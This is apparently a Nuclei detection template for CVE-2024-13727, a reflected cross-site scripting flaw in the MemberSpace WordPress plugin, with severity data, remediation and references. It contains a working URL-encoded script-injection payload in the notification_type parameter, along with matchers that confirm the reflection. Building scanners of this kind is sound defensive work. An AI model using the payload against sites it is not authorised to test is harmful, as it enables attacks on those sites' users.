id: CVE-2024-13727

info:
  name: MemberSpace WordPress - Cross-Site Scripting
  author: Sourabh-Sahu
  severity: medium
  description: |
    MemberSpace WordPress plugin < 2.1.14 contains a reflected XSS caused by unsanitized and unescaped parameter output, letting unauthenticated attackers execute scripts, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can execute scripts in users' browsers, potentially stealing data or performing actions on their behalf.
  remediation: |
    Upgrade to version 2.1.14 or later.
  reference:
    - https://wpscan.com/vulnerability/598d20f2-0f42-48f2-a941-0d6c5da5303e/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-13727
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-13727
    cwe-id: CWE-79
    epss-score: 0.00501
    epss-percentile: 0.66218
    cpe: cpe:2.3:a:memberspace:memberspace:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2024,memberspace,memberspace,unauth,xss,wordpress,wp,wp-plugin

http:
  - raw:
      - |
        GET /wp-content/plugins/memberspace/admin/partials/notification-bar.php?notification_type=1%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3Cscript%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "></script><script>alert(document.domain)</script><script>","is-dismissible")'
        condition: and
# digest: 490a0046304402204203ef5075e2cae6bf4d36bd82ed145104d8ad90308b727654acd5b83c1b56c10220326272a77400e707cfdf5c55e3e0bf529b92d947b2c760f3bfe2f36b7e534b16:922c64590222798bb761d5b6d8e72950